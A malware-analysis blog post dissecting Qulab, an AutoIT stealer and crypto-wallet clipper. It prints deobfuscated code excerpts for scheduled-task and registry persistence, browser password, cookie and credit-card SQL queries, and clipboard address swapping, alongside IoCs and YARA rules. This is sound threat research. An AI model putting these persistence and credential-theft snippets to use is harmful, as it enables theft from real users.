After some issues that kept me far away from my researches, it's time to put my hands again on some sympathetic stuff. This one is technically and finally my real first post of the year (The anti-VM one was a particular case).

So today, we will dig into Qulab Stealer + Clipper, another password-stealer that had my attention to be (on my point view) an exotic one, because it is fully developed in AutoIT and have a really cool obfuscation technique that occupied me for some times. Trends to have malware that is coded in some languages different than C, C++, .NET or Delphi is not new, there is a perfect case with the article made by Hasherezade earlier this year for a stealer developed in GoLang (that I highly recommend taking a look on it).

Normally, using AutoIT scripts in that area is pretty common. It's widely used as a packer for hiding detection or as a node into an infection chain, but as a whole password-stealer, it's not the same. I could say it's a particular case because it's resale with support on the black market.

Even if as usual, techniques remains the same for the stealing features, it's always entertaining to see how there is plenty of ways to achieve one simple goal. Also, the versatility on this one is what makes me overwhelmed my curiosity and burning all my sleep time for some reasons...

Qulab is focusing on these features:

  • Browser stealing
  • Wallet Clipper
  • FTP creds
  • Discord / Telegram logs
  • Steam (Session / Trade links / 2FA Authenticator by abusing a third party software)
  • Telegram Bot through a proxy
  • Grabber

Auto IT?

As I mentioned in the intro, Qulab is coded in AutoIT, for people that are really not in touch it or have no idea about it, it is an automation language who has a syntax similar to the BASIC structure, it's designed to work only on Microsoft Windows.

They are two way to execute AutoIT scripts :

  • If the script is run with the .au3 format, AutoIT dependances are required and all the libraries that are necessary to run it.
  • If the script is compiled all the libraries are added into it for avoiding dependances. It means that you don't need to install AutoIT for executing PE.

When the instructions are compiled into an executable file, it's easy to catch if we are analyzing an AutoIT script by a simply checking some strings, so there already some Yara rules that made the task to confirm that is the case.

‌‌ 
‌‌ 
rule AutoIt
{
	meta:
		author = "_pusher_"
		date = "2016-07"
		description = "www.autoitscript.com/site/autoit/"
	strings:		
		$aa0 = "AutoIt has detected the stack has become corrupt.\n\nStack corruption typically occurs when either the wrong calling convention is used or when the function is called with the wrong number of arguments.\n\nAutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions.  The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead.  See the DllCall() documentation for details on changing the calling convention." wide ascii nocase
		$aa1 = "AutoIt Error" wide ascii nocase
		$aa2 = "Missing right bracket ')' in expression." wide ascii nocase
		$aa3 = "Missing operator in expression." wide ascii nocase
		$aa4 = "Unbalanced brackets in expression." wide ascii nocase
		$aa5 = "Error parsing function call." wide ascii nocase
	
		$aa6 = ">>>AUTOIT NO CMDEXECUTE<<<" wide ascii nocase
		$aa7 = "#requireadmin" wide ascii nocase
		$aa8 = "#OnAutoItStartRegister" wide ascii nocase
		$aa9 = "#notrayicon" wide ascii nocase
		$aa10 = "Cannot parse #include" wide ascii nocase
	condition:
		5 of ($aa*)
}
‌‌ 
‌‌

On my side, I will not explain the steps or tools to extract the code, they are plenty of tutorials on the internet for explaining how it's possible to extract some AutoIt scripts. The idea here is to focus mainly on the malware, not on the extracting part...

Code Obfuscation

After extracting the code from the PE, it's easy to guess that some amazing stuff is coming to our eyes by just looking the amount of code... The analysis of this malware will be some kind of challenge.

‌‌ 
‌‌ 
cat Qulab.au3 | wc -l
21952 // some pain incomming
‌‌ 
‌‌ 

The source code is really (really) obfuscated but not hard to clean it. it takes just quite some times with the help of homemade scripts to surpass it. But as an analyst that wants to have information, a simple dump of the process during the execution and the report a sandbox is sufficient to understand the main tasks.

For non-technical people, I have created a dedicated page on GitHub for being able to read and learn easily the AutoIT fundamentals. I highly recommend to open it during the reading of this article, it will be easier. you had also to read the official AutoIT FAQ for understanding the API. Unfortunately, it's not complete as the Microsoft MSDN documentation but it's enough about the basic principles of this language...

It's impossible to explain all form of obfuscation in this malware, but this is a summary of the main tricks.

  • Variable & Function Naming convention

All variables except few exceptions are in that form

‌‌ 
‌‌ 
\$A\d[A-F0-9]{3,10}
‌‌ 
‌‌

It's wonderful to see over ten thousand (and more) variables like this into the whole script (sarcasm)

‌‌ 
‌‌ 
$A18A4000F15
$A5AA4204E10
$A0FA4403A33
$A55A4601801
$A24A4804C5C
...
‌‌ 
‌‌
  • Garbage conditions

When there is an obfuscated code, there is obviously a huge amount of nonsense conditions or unused functions. It doesn't take a long time to get the idea on Qulab because they are easily catchable by pure logic, take an example on this one :

‌‌ 
‌‌ 
FUNC A5D10600720(BYREF $A37E6C01A00,$A183A702F3C)
    IF NOT ISDECLARED("SSA5D10600720") THEN
    ENDIF
    ...
    ...
ENDFUNC
‌‌ 
‌‌

This a classical pattern, the condition is just checking if a variable ("SS" + Function Name) is not declared, inside there is always some local variables that are initiated for purposes of the functions and most of the time they are coming from the master array. By deobfuscating them, the whole conditions on this pattern can be removed variables are switched by their corresponding values, it permits to delete a lot of codes.

  • Unused Functions

Another classy scheme is to find some unused functions, and this permit to clean effectively thousands of lines of junk code by creating a script for the purposes or using some User-defined functions made by the AutoIT community.

Unused_Functions

  • Initiating Variables and using them
‌‌ 
‌‌ 
GLOBAL LOCAL $VARIABLE_1 = FUNC1(ARRAY[POS])
...Code....
GLOBAL LOCAL $VARIABLE_455 = $VARIABLE_1
...Code...
GLOBAL LOCAL $VARIABLE_9331 = VARIABLE_455 <- Final Value
‌‌ 
‌‌

> Initiating them by a condition

‌‌ 
‌‌ 
IF $A4A7AC0550A=DEFAULT THEN $A4A7AC0550A=-NUMBER($A198A005329)
IF $A2F7AD03E54=DEFAULT THEN $A2F7AD03E54=-NUMBER($A2C8A10261F)
IF $A3D7AE0071E=DEFAULT THEN $A3D7AE0071E=-NUMBER($A218A202B4D)
IF $A3F7AF01354=DEFAULT THEN $A3F7AF01354=-NUMBER($A2A8A300E5F)
‌‌ 
‌‌

> Using count variable into a 2D Array, with a value that is stored inside a 20 000 length array.

‌‌ 
‌‌ 
$A31E5E11A1F[NUMBER($A2646512725)][NUMBER($A0C46615D39)]+=NUMBER($A5246713208)
‌‌ 
‌‌

> Hiding code error integers by a mixture of multiple functions and variables.

‌‌ 
‌‌ 
RETURN SETERROR($A2C07504A0A,NUMBER($A411740414D),NUMBER($A6017502D45))
‌‌ 
‌‌

Code Execution

This malware has an unorthodox way to execute code and it's pretty cool.

  1. Read the directives, follow them to go to the main function
  2. The main function will set up the master array (I will explain this later)
  3. When this function is done, the script will go again to the beginning by a purely logical way after the directives, and search for Global variables and instructions, for our case, it will be some global variables.
  4. When all of the Global Variables have been initiated, it will skip all the functions because they are simply not called (for the moment), and will try to reach some exploitable instruction (as I explained above).
    When finally some code is reachable, a domino effect occurs, an initiated variable will call one function, that inside it will call one or multiple functions, and so on.
  5. During the same process, there is also some encoded files that are hardcoded into the code and injected into the code for some specific tasks. When every setup tasks are done, it's entering into an infinite loop for specific purposes.

In the end, it could be schematized like this.

Steps_Qulab

Directives are leading the road path

Everything that is starting with '#' is a directive, this is technically the first thing that the script will check, and here, it's configured to go to a specific function at all cost that is "A5300003647_", this one is the main function.

‌‌ 
‌‌ 
#СЪЕБИСЬ ОТСЮБДА ДУДА ТЫ ССАНАЯ БЛЯХА МУХА
#NoTrayIcon
#OnAutoItStartRegister "A5300003647_"
‌‌ 
‌‌

#NoTrayIcon - Hide the AutoIT icon on the tray task
#OnAutoItStartRegister - The first function that will be called at the beginning of the script (an equivalent of the main function)

The Main function is VIP

The first function of Qulab is critical because this is where almost all the data is initialized for the tasks. The variable $DLIT is storing a "huge" string that will be split with the delimiter "o2B2Ct" and stored into the array $OS

Note: the name mentioned here is the one that will be used for this stealer script, results may vary between samples but the idea remains the same.

‌‌ 
‌‌ 
FUNC A5300003647_()
  FOR $AX0X0XA=1 TO 5
    LOCAL $DLIT="203020o2B2Ct203120o..." 
    GLOBAL $A5300003647,$OS=STRINGSPLIT($DLIT,"o2B2Ct",1)
    IF ISARRAY($OS) AND $OS[0]>=19965 THEN EXITLOOP
    SLEEP(10)
    NEXT
ENDFUNC
‌‌ 
 
‌‌

Global Variables are the keys

Global Variables are certainly the main focus of Qulab, they are nowhere and everywhere, they are so impactful with the master array that a single modification of one Variable can have a domino effect for the whole malware that could end to a segmentation fault or anything else that could crash the script.

When a variable is initialized, there are multiple steps behind it :

  1. Selecting a specific value from the master array
  2. Converting the value to a string
  3. Profit
‌‌ 
‌‌ 
GLOBAL $A1D7450311E=A5300003647($OS[1])
‌‌ 
‌‌

the function "A5300003647" is, in fact, an equivalent of "From Hex" feature, and it's converting 2 bytes by 2 bytes the values.

‌‌ 
‌‌ 
FUNC A5300003647($A5300003647)
  LOCAL $A5300003647_
  FOR $X=1 TO STRINGLEN($A5300003647) STEP 2
    $A5300003647_&=CHR(DEC(STRINGMID($A5300003647,$X,2)))
    NEXT
  RETURN $A5300003647_
ENDFUNC
‌‌ 
‌‌

By just tweaking the instructions of the AutoIT scripts, with the help of some adjustments (thanks homemade deobfuscate scripts and patience), variables are now almost fully readable.

ModifiedVariables

After modifying our 19966 variables (that's a lot), we can see clearly most of the tasks that the malware has on the pipe statically. this doesn't mean that is done with this part, It's only a first draft and it needs to be cleaned again because there is a lot of unfinished tasks and of course as I explained above, most of them are unused.

variables_cleaned.png

Main code

After all that mess to understand what is the correct path to read the code, the script is now entering into the core step, The more serious business begins right now.

Code

To summarize all the task, this is briefly what's going on :

  • Setting up, Variables that are configured in the builder
    • Name of the payload
    • Name of the schedule task
    • Name of the schedule task folder
    • name of the hidden AppData folder where the malware will do the tasks
    • Wallets
  • Hide itself
  • Do all the stealing tasks
  • Decoding & load dependances when it's required
  • Make the persistence
  • And more... 🙂

Where is the exit?

Between two functions there is sometimes global variables that declared or there are also sneaky calls that have an impact into the payload itself. They could not be really seen at a first view, because they are drowned into an amount of code. So 1 or 2 lines between dozens of functions could be easily forgettable.

OnAutoITExitRegister

we can see that is also indicating the specific method that will be called at the end of everything.

‌‌ 
‌‌ 
ONAUTOITEXITREGISTER("A1AA3F04218")
‌‌ 
‌‌ 

So with just small research, we can see our function that will be called at the end of the script between a huge amount of spaghetti code.

EXIT_DLLCLOSE

Its in fact, closing crypt32.dll module, thats is used for the CryptoAPI.

‌‌ 
‌‌ 
GLOBAL $A1A48943E37=DLLOPEN("crypt32.dll")
‌‌ 
‌‌

Some curiosities to disclose

Homemade functions or already made?

For most of the tasks, the malware is using a lot of "User Defined Functions" (UDF) with some tweaks, as explained on the AutoIT FAQ: "These libraries have been written to allow easy integration into your own scripts and are a very valuable resource for any programmer". it confirms more and more that open-source code and programming forums are useful for both sides (good & bad), so for developing malware it doesn't require to be a wizard, everything is at disposition and free.

Also for Qulab, it's confirmed that he used tweaked or original UDF for :

  • SQL content
  • Archiving content
  • Telegram API
  • Windows API
  • Memory usage

Memory optimization

AutoIT programs are known to be greedy in memory consumption and could be probably a risk to be more detectable. At multiple time, the malware will do a task to check if there is a possibility to reduce the amount of allocated memory, by removing as much as possible, pages from the working set of the process. The manipulation required to use EmptyWorkingSet and could permit to reduce by half the memory usage of the program.

 
‌‌ ‌‌
FUNC A0E64003F0C($A1B85D1000C=0)
    IF NOT $A1B85D1000C THEN $A1B85D1000C=EXECUTE(" @AutoItPID ")
    LOCAL $A3485F11D1D=DLLCALL("kernel32.dll","handle","OpenProcess","dword",(($A209DF54B2B<1536)?1280:4352),"bool",0"dword",$A1B85D1000C)
    IF @ERROR OR NOT $A3485F11D1D[0] THEN RETURN SETERROR(@ERROR+20,@EXTENDED,0)
    LOCAL $A5F55F1392E=DLLCALL(EXECUTE(" @SystemDir ")&"\psapi.dll","bool","EmptyWorkingSet","handle",$A3485F11D1D[0])
    RETURN 1
ENDFUNC
‌‌ 
‌‌

First, it will grab the PID value of the AutoIT-compiled program by executing the macro @AutoItPID, then opening it with OpenProcess. But one of the argument is quite obscure

  
 
(($A209DF54B2B<1536)?1280:4352)
‌‌ 
‌‌ 

what is behind variable $A209DF54B2B? let's dig into it...

‌‌  
‌‌  
GLOBAL CONST $A209DF54B2B=A2054F01A5F()

FUNC A2054F01A5F()
    LOCAL $A1656715F1D=DLLSTRUCTCREATE("struct;dword OSVersionInfoSize;dword MajorVersion;dword MinorVersion;dword BuildNumber;dword PlatformId;wchar CSDVersion[128];endstruct")
    DLLSTRUCTSETDATA($A1656715F1D,1,DLLSTRUCTGETSIZE($A1656715F1D))
    LOCAL $A5F55F1392E=DLLCALL("kernel32.dll","bool","GetVersionExW","struct*",$A1656715F1D)
    IF @ERROR ORNOT$A5F55F1392E[0] THENRETURNSETERROR(@ERROR,@EXTENDED,0)
    RETURN BITOR(BITSHIFT(DLLSTRUCTGETDATA($A1656715F1D,2),-8),DLLSTRUCTGETDATA($A1656715F1D,3)))
ENDFUNC
‌‌ 
‌‌ 

This is WinAPI function will retrieve the version of the current operating system used on the machine, the value returned is into a binary format. So if we look back and check with the official API.

‌‌ 
‌‌ 
//
// _WIN32_WINNT version constants
//
‌‌ 
#define _WIN32_WINNT_NT4            0x0400 // Windows NT 4.0
#define _WIN32_WINNT_WIN2K          0x0500 // Windows 2000
#define _WIN32_WINNT_WINXP          0x0501 // Windows XP
#define _WIN32_WINNT_WS03           0x0502 // Windows Server 2003
#define _WIN32_WINNT_WIN6           0x0600 // Windows Vista
#define _WIN32_WINNT_VISTA          0x0600 // Windows Vista
#define _WIN32_WINNT_WS08           0x0600 // Windows Server 2008
#define _WIN32_WINNT_LONGHORN       0x0600 // Windows Vista
#define _WIN32_WINNT_WIN7           0x0601 // Windows 7
#define _WIN32_WINNT_WIN8           0x0602 // Windows 8
#define _WIN32_WINNT_WINBLUE        0x0603 // Windows 8.1
#define _WIN32_WINNT_WINTHRESHOLD   0x0A00 // Windows 10
#define _WIN32_WINNT_WIN10          0x0A00 // Windows 10
‌‌ 
‌‌ 

With knowing the Windows Version with this function, the AutoIT script is now able to open the process correctly and analyzing it. The last task is to purge the unused working set by calling EmptyWorkingSet for cleaning some unnecessary memory.

Task scheduling

Task scheduling with stealers is summarized with one line of code, a simple and effective ShellExecute command with schtask.exe to execute periodically something, as a persistence trick. Here it's a little bit more advanced than usual, in multiple points by using a TaskService Object

‌‌
‌‌ 
$A60FD553516=OBJCREATE("Schedule.Service")
$A60FD553516.Connect()
‌‌ 
‌‌

The new task is set with a flag value of 0, as explained in the MSDN Documentation, it's a mandatory value.

‌‌ 
‌‌ 
$A489E853A1E=$A60FD553516.NewTask(0)
‌‌ 
‌‌

To be less detectable, some tricks as being done to look like legit as possible by detailing that the process has been made by the correct user, the description, the name of the task and the task folder is adjusted by what the customer wants.

‌‌ 
‌‌ 
$A4A9E951E11=$A489E853A1E.RegistrationInfo()
$A4A9E951E11.Description()= $A487E851D38
$A4A9E951E11.Author()=EXECUTE(" @LogonDomain ")&"\"&EXECUTE(" @UserName ")
‌‌ 
‌‌

After some other required values to be configured that is not really necessary to talk, it's way more interesting to talk about the setting part of this Task Service because it is quite interesting.

To maximize the yield, Qulab tweaks the service whenever the situation :

  • The laptop is not on charge
  • The battery is low
  • Network available or not

In the end, every minute, the task manager will run the task by executing the malware into the hidden repository folder in %APPDATA%.

‌‌ 
‌‌ 
$A4B9EA50562=$A489E853A1E.Settings()
$A4B9EA50562.MultipleInstances() = 0
$A4B9EA50562.DisallowStartIfOnBatteries()= FALSE
$A4B9EA50562.StopIfGoingOnBatteries()= FALSE
$A4B9EA50562.AllowHardTerminate()= TRUE
$A4B9EA50562.StartWhenAvailable()= TRUE
$A4B9EA50562.RunOnlyIfNetworkAvailable() FALSE
$A4B9EA50562.Enabled()= TRUE
$A4B9EA50562.Hidden()= TRUE
$A4B9EA50562.RunOnlyIfIdle()= FALSE
$A4B9EA50562.WakeToRun()= TRUE
$A4B9EA50562.ExecutionTimeLimit()= "PT1M" // Default PT99999H
$A4B9EA50562.Priority()= 3 // Default 5
$A3E9EB51B0D=$A489E853A1E.Principal()
$A3E9EB51B0D.Id()=EXECUTE(" @UserName ")
$A3E9EB51B0D.DisplayName()=EXECUTE(" @UserName ")
$A3E9EB51B0D.LogonType()=$A0B8E352D04
$A3E9EB51B0D.RunLevel()= 0
‌‌ 
‌‌

Another Persistence?

A classic one is used

 
 
IF NOT A3F64500C0D($A00DEB51215,$A35DEF51B61) THEN 
REGWRITE("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",
         $A00DEB51215,"REG_SZ",""""&$A104A053309&"\"&$A60DE955B5F&"""")
 
 

There is nothing much to say more, about this part...

Encoding is not encryption

When I was digging into the code, I found a mistake that makes me laugh a little... The classical quote for saying that base64 is encryption. So maybe after this in-depth analysis, the malware developer will fix his mistake (or just insulting me :') )

b64_fail

Malware Features

Clipper

If you are unfamiliar with what is a clipper, it's in fact really simple... The idea is to alter something that is in the clipboard content with the help of some filters/rules that is most of the cases simplify as regular expressions. If it matches with something, it will modify the amount of data caught with something else that was configured. It's heavily used for swapping crypto wallet IDs from the victim to the attacker one. This is also the case with Qulab, it's focusing on Wallets & Steam trade links.

This piece of code represent the core of the clipper :

Clipper

So that are the steps:

  1. Execute a script for checking if there any new data to send for the attacker
  2. Checking if the ongoing task is present on the task scheduler.
  3. Cleaning unnecessary Working Set (see the memory optimization explained above)
  4. Make a pause in the loop for 200 ms
  5. Get the content of the clipboard with CLIPGET
  6. Check all the wallet, if it matches, substitute with the wished value.

Swap_Clipper

  1. Put the modified content on the Clipboard with CLIPPUT
  2. Repeat

All the values from the different wallet that the attacker wants to swap are stored at the beginning of the code section. By pure speculations, I'm considering that are the values that are configured in the builder.

Wallet_configured

Current List of Cryptocurrency Wallet that the stealer is switching.

Bitcoin Bitcoin Cash Bitcoin Gold Bytecoin
Cardano Lisk Dash Doge
Electronium Ethereum Graft Litecoin
Monero Neo QIWI Qtum
Steam Trade Link Stratis VIA WME
WMR WMU WMX WMZ
Waves Yandex Money ZCash

Browser Stealer

Qulab is some kind of a puzzle with multiple pieces and each piece is also another puzzle. Collectings and sorting them to solve the entire fresco is some kind of a challenge. I can admit for the browser part, even if the concept is easy and will remain always the same (for the fundamentals of a Password Stealer), the way that it was implemented is somewhat clever.

At first, every browser that is supported by the malware is checked in turn, with specific arguments :

  • The Browser path
  • The files that the stealer wants to grab with "|" as a delimiter
  • The Name of the browser

Browsers

It goes to a very important function that will search (not only for the browser), these kinds of files :

  • wallet.dat
  • Login Data
  • formhistory.sqlite
  • Web Data
  • cookies.sqlite
  • Cookies
  • .maFile

If they are matching, it enters into a loop that will save the path entry and storing it into one master variable with "|" as a delimiter for every important file.

Loop_Files

When all the files are found, it only needs to do some regular expression to filter and split the data that the malware and to grab.

GetFiles

After inspecting and storing data from browsers that are present in the list, serious business is now on the pipe... One of the binaries that are hardcoded in base64 is finally decoded and used to get some juicy data and like every time it's the popular SQLite3.dll that was inside all of this.

CFF_Explorer

Something interesting to notice is that the developer made some adjustment with the official AutoIT FUD For SQLite3 and removed all the network tasks, for avoiding downloading the libraries (32 or 64 bits) and of course be less detectable.

The file is saved into the %ROAMING% directory, and will have the name :

  • PE_Name + ".sqlite3.module.dll"

The routine remains the same for each time this library is required :

sqlite_example

  1. Checking with a patched _SQLite_GetTable2d, the SQL Statement that needs to be executed & tested is a valid one.
  2. The SQL Table is put into a loop and each iteration of the array is verified by a specific regular expression.
  3. If the content is found, it enters into another condition that will simply add them into the list of files & information that will be pushed in the malicious archive.

In the end, these requests are executed on browser files.

 
 
SELECT card_number_encrypted, name_on_card, expiration_month, expiration_year FROM credit_cards;
SELECT username_value, password_value, origin_url, action_url FROM logins;
select host, 'FALSE' as flag, path, case when isSecure = 1 then 'TRUE' else 'FALSE' end as secure, expiry, name, value from moz_cookies;
select host_key, 'FALSE' as flag, path, case when is_secure = 1 then 'TRUE' else 'FALSE' end as secure, expires_utc, name, encrypted_value from cookies;
‌‌ 
‌‌ 

Current List of supported browsers

360 Browser Amigo AVAST Browser Blisk Breaker Browser
Chromium Chromodo CocCoc CometNetwork Browser Comodo Dragon
CyberFox Flock Browser Ghost Browser Google Chrome IceCat
IceDragon K-Meleon Browser Mozilla Firefox NETGATE Browser Opera
Orbitum Browser Pale Moon QIP Surf SeaMonkey Torch
UCBrowser uCOZ Media Vivaldi Waterfox Yandex Browser

FTP

The FTP is rudimentary but is doing the task, as far than it looks, it's only targeting FileZilla software.

FTP_FTP

Grabber

Qulab doesn't have an advanced Grabber feature, it's really simplistic compared to stealers like Vidar. It simplifies by just one simple line... It's using the same function as explained above with the browsers, with the only difference, it's focusing on searching specific file format on the desktop directory

Grabber

Targeted files are

  • .txt
  • .maFile
  • wallet.dat

Wallet

Nothing to say more than Exodus is mainly targeted.

Wallet

Discord

Discord is more and more popular nowadays, so it's daily routine now to see this software targeted by almost all the current password-stealer on the market.

Discord

Steam & Steam Desktop Authenticator

The routine for Steam is almost identical to the one that I explained in Predator and will remain the same until Steam will change some stuff into the security of his files (or just changing the convention name of them).

  1. Finding the Steam path into the registry
  2. searching the config folder
  3. searching recursively into it for grabbing all the ssfn files

Steam

But! There is something different on this Password-stealer than all the other that I've seen currently. Its also targeting Steam Desktop Authenticator a Third-party software as explained on the official page as a desktop implementation of Steam's mobile authenticator app. It's searching for a specific and unique file ".maFile", it's already mentioned above in the Grabber part and The Browser Stealing part. This file contains sensitive data of the steam account linked with the Steam mobile authenticator app.

So this malware is heavily targeting Steam :

  • Clipping Steam Trade Links
  • Stealing steam sessions
  • Stealing 2FA main file from a Third-Party software.

Information log

It's a common thing with stealer to have an information file that logs important data from the victim's machine. It's also the case on Qulab, it's not necessary to explain all the part, I'm just explaining here simply with which command it was able to do get the pieces of information.

OS Version @OSVersion
OS Architecture @OSArch
OS Build @OSBuild
Username @UserName
Computer Name @ComputerName
Processor ExecQuery("SELECT * FROM Win32_VideoController","WQL",16+32)
Video Card ExecQuery("SELECT * FROM Win32_Processor","WQL",16+32)
Memory STRINGFORMAT("%.2f Gb",MEMGETSTATS()[1]/1024/1024)
Keyboard Layout ID @KBLayout
Resolution @DesktopWidth & @DesktopHeight & @DesktopDepth & @DesktopRefresh
  • Network

Not seen due to the proxy, there is a network request done on ipapi.co for getting all the network information of the victim's machine.

 
‌‌ 
$A4AC5512B62=INETREAD("https://ipapi.co/json",3)
 ‌‌ 
 

The JSON result is consolidated into one variable and saved for the final log file.

‌‌  
‌‌  
IF STRINGLEN($A4AC5512B62) > 75 THEN
    $A2B1F55481F=A4604603206(BINARYTOSTRING($A4AC5512B62))
    $A280FD53C4B =" - IP: " &A211460135A($A2B1F55481F,"[ip]") & EXECUTE(" @CRLF ")
                &" - Country: " &A211460135A($A2B1F55481F,"[country_name]") & EXECUTE(" @CRLF ")
                &" - City: " &A211460135A($A2B1F55481F,"[city]") & EXECUTE(" @CRLF ")
                &" - Region: " &A211460135A($A2B1F55481F,"[region]") & EXECUTE(" @CRLF ")
                &" - ZipCode: " &A211460135A($A2B1F55481F,"[postal]") & EXECUTE(" @CRLF ")
                &" - ISP: " &A211460135A($A2B1F55481F,"[org]") & EXECUTE(" @CRLF ")
                &" - Coordinates: " &A211460135A($A2B1F55481F,"[latitude]")&", "&A211460135A($A2B1F55481F,"[longitude]")&EXECUTE(" @CRLF ")
                &" - UTC: " &A211460135A($A2B1F55481F,"[utc_offset]")&" ("&A211460135A($A2B1F55481F,"[timezone]")&")"
ENDIF
‌‌  
 
‌‌
  • Softs
 
 
$A12EF151C00=A5944E0550E("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall","","DisplayName")
FOR $A51E7205400 = 1 TO $A12EF151C00[0][0]
    $A3B1F954B63 &=" - "&$A12EF151C00[$A51E7205400][0]&EXECUTE(" @CRLF ")
NEXT
 
 
  • Process List

Because AutoIT is based for doing automation task script, almost all the basic commands from the WinAPI are already integrated, so by simply using the ProcessList() call, the list of all the processes are stored into an array.

  
 
$A2EEFA54E30=PROCESSLIST()
FOR $A51E7205400=1 TO $A2EEFA54E30[0][0]
    $A481FB54A60&=" - "&$A2EEFA54E30[$A51E7205400][0]&" / PID: "&$A2EEFA54E30[$A51E7205400][1]&EXECUTE(" @CRLF ")
NEXT
‌‌ 
 

By mixing all this data, the log file is finally done:

 
 
# /===============================\
# |=== QULAB CLIPPER + STEALER ===|
# |===============================|
# |==== BUY CLIPPER + STEALER ====|
# |=== http://teleg.run/QulabZ ===|
# \===============================/

Date: XX.XX.2019, HH:MM:SS

Main Information:
- ...

Other Information:
- ...

Soft / Windows Components / Windows Updates:
- ...

Process List:
- ...
  
 

Instructions log

For probably helping his customers when the malware is catching data from specific software other than browsers, an additional file is added to give some explanations to fulfill the task entirely after the stealing process, step by step and stores into "Инструкция по установке.txt"

Instructions

Instructions are unique for each of these :

  • Exodus
  • Discord
  • Wallets
  • Steam
  • Filezilla
  • Telegram
  • Steam Desktop Authentication
  • Grabber part

Archive Setup

When finally everything is done on the stealing tasks, the folder is now ready to be archived, and it's using another encoded payload hardcoded into the script. It's not really complicated to understand here it's 7zip behind this huge amount of code.
7z_b64
The payload is saved into the folder repository on %APPDATA% with the name of PE_Name + ".module.dll" and executing a specific task before deleting everything.
‌‌ 
‌‌ 
ARCHIVATE($A271F153721)
RUNWAIT($A271F153721&" a -y -mx9 -ssw """&$A104A053309&"\"&$A63CEC52907&".7z"" """&$A104A053309&"\1\*""","",EXECUTE(" @SW_HIDE "))
FILEDELETE($A271F153721)
‌‌ 
‌‌
If you don't understand the command, they are explained here :
a Add
y yes on all queries
mx9 Ultra Compression Method
ssw Compress files open for writing

In the end, this is an example of a final archive file.

Archive

But there is a possibility to have all these files & folders:

‌‌ 
‌‌ 
\1\Passwords.txt
\1\Information.txt
\1\Screen.jpg
\1\AutoFills.txt
\1\CreditCards.txt
\1\Cookies
\1\Desktop TXT Files
\1\Discord
\1\Telegram
\1\Steam
\1\Exodus
\1\Wallets
\1\FileZilla
\1\SDA
‌‌ 
‌‌

Cleaning process

Simple and effective:

  • Killing the process
  • Deleting the script directory

Erasing Traces

It's easily catchable on the monitoring logs.

Telegram Bot as C2?

This malware is using a Telegram bot for communicating & alerting when data have been stolen. As usual, it's using some UDF functions, so there is nothing really new. It's not really complicated to understand how it's working.

When a bot is created, there is a unique authentication token that could be used after for making requests to it.

api.telegram.org/bot/

telegram_01

Also, it's using a private proxy when it's sending the request to the bot :

FTP

These values are used to configure the proxy setting during the HTTP request :

Proxy

How it looks like on the other side?

This malware is developed by Qulab, and it took seconds to find the official sale post his stealer/clipper. As usual, every marketing that you want to know about it is detailed.

  • This stealer/clipper is sold 2000 rubles (~30$)
  •  Support is possible

Qulab_Darkweb

Let's do some funny stuff

I made some really funny unexpected content by modifying some instructions to make something that is totally unrelated at all. Somewhat, patching malware could be really entertaining and interesting!

Note: If you haven't seen the anime "Konosuba", you will not understand at all, what's going on :p

Additional Data

IoC

Hashes

  • a915fc346ed7e984e794aa9e0d497137
  • 887fac71dc7e038bc73dc9362585bf70
  • a915fc346ed7e984e794aa9e0d497137

IP

  • 185.142.97.228

Proxy Port

  • 65233

Schedule Task

  • %PAYLOAD_NAME%
  • Random Description

Folders & Files

  • %APPDATA%/%RANDOM_FOLDER%/
  • %APPDATA%/%RANDOM_FOLDER%/1/
  • %PAYLOAD_NAME%.module.exe (7zip)
  • %PAYLOAD_NAME%.sqlite.module.exe (sqlite3.dll)

Threat Actor

MITRE ATT&CK

Software & Language used

  • AutoIT
  • Aut2Exe (Decompiler)
  • myAut2Exe (Decompiler)
  • CFF Explorer
  • x32dbg
  • Python

Yara

rule Qulab_Stealer : Qulab 
{
  meta:
    description = "Yara rule for detecting Qulab (In memory only)"
    author = "Fumik0_"

  strings:
    $s1 = "QULAB CLIPPER + STEALER" wide ascii
    $s2 = "SDA" wide ascii
    $s3 = "SELECT * FROM Win32_VideoController" wide ascii
    $s4 = "maFile" wide ascii
    $s5 = "Exodus" wide ascii
   
  condition:
    all of ($s*)
}

Conclusion

Well, it's cool sometimes to dig into some stuff that is not really common for the language choice (on my point of view for this malware). It's entertaining and always worth to learn new content, find new tools, find a new perspective to put your head into some totally unknown fields.

Qulab stealer is interesting just in fact that is using AutoIT and abusing a telegram bot for sharing some data but stealing & clipper features remain the same as all the other stealers. The other thing that, it's confirming also that more and more people are using User Defined Functions/Libraries free to use to do good or bad things, this trends will be more and more common in those days, developers or simple users with lack of skills is now just doing some google research and will be able to make a software or a malware, without knowing anything in depth about what the code is doing, when the task is done, nothing else matters at the end.

But I admit, I really take pleasure to patch it for stupid & totally useless stuff 🙂

Now it's time for a break.

original

#HappyHunting

Special thanks: @siri_urz, @hh86_

Last modified: March 25, 2019

Author

Comments

Leave a Reply